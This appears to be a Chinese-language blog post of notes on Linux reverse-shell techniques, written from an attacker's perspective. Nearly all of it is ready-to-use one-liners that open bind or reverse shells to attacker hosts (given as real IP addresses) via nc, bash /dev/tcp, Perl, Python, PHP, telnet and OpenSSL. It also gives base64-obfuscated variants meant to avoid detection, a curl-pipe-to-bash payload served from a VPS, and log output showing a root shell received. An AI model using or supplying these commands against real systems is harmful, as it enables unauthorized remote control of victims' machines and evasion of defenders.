05. Linux反弹Shell方法
本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、NC(linux自带工具)

1.NC正向Shell(比较少用,黑客在公网,受害者在内网)

被控端:
nc -lvvp 6666 -e /bin/sh

控制端:
nc 10.10.1.7 6666

原  理:
被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

2.NC反向Shell(一般都用这个,受害者主动连接黑客)

控制端: 
nc -lvvp 6666 

被控端: 
nc -e /bin/sh 10.10.1.11 6666

原理: 
被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。

Pasted image 20241217144055.png

二、Bash(linux自带工具)

被控端:
bash -i >& /dev/tcp/47.101.214.85/6666 0>&1 

控制端: 
nc –lvvp 6666

变种(防止被发现):

被控端:
exec 5<>/dev/tcp/139.155.49.43/6666;cat <&5 | while read line; do $line 2>&5 >&5; done

控制端:
nc –lvvp 6666

base64编码绕过: 
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Ljg1LzY2NjYgMD4mMQ==|base64 -d|bash -i"

三、Perl(脚本语言)–socket编程

只需将ip改为黑客ip就行

perl -e 'use Socket;$i="47.101.214.85";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Pasted image 20241217145712.png

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.101.214.85:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Pasted image 20241217150122.png

Pasted image 20241217150050.png

四、Curl(curl程序)

1.vps

root@VM-0-2-ubuntu:~# cat index.html
bash -i >& /dev/tcp/139.155.49.43/6666 0>&1

root@VM-0-2-ubuntu:~# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
47.101.214.85 - - [03/Dec/2020 09:21:39] "GET /index.html HTTP/1.1" 200 -

2.target

curl 139.155.49.43:8000|bash
或
curl http://139.155.49.43:8000/index.html|bash

3.测试结果

root@VM-0-2-ubuntu:~# nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 47.101.214.85 46370 received!
root@iZuf6j06q5f1lZ:~#

Pasted image 20241217153716.png

Pasted image 20241217153733.png

Pasted image 20241217153658.png

五、Python(脚本语言)

Python一行命令反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.101.214.85",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Pasted image 20241217154133.png

Pasted image 20241217154119.png

六、PHP(脚本语言)

PHP一行命令反弹shell

php -r '$sock=fsockopen("47.101.214.85",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

七、Telnet(远程连接工具)

攻击机:
nc -lvvp 5555
nc -lvvp 6666

目标机: 
telnet 47.101.214.85 5555 | /bin/bash | telnet 47.101.214.85 6666

八、OpenSSL(工具)

openssl反弹443端口,流量加密传输

  1. 在远程攻击主机上生成秘钥文件
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  1. 在远程攻击主机上启动监视器
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
  1. 在目标机上反弹shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.34.126.129:443 > /tmp/s

如果/tmp/s文件存在,删除

rm /tmp/s

Pasted image 20241217160102.png

Pasted image 20241217160048.png

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇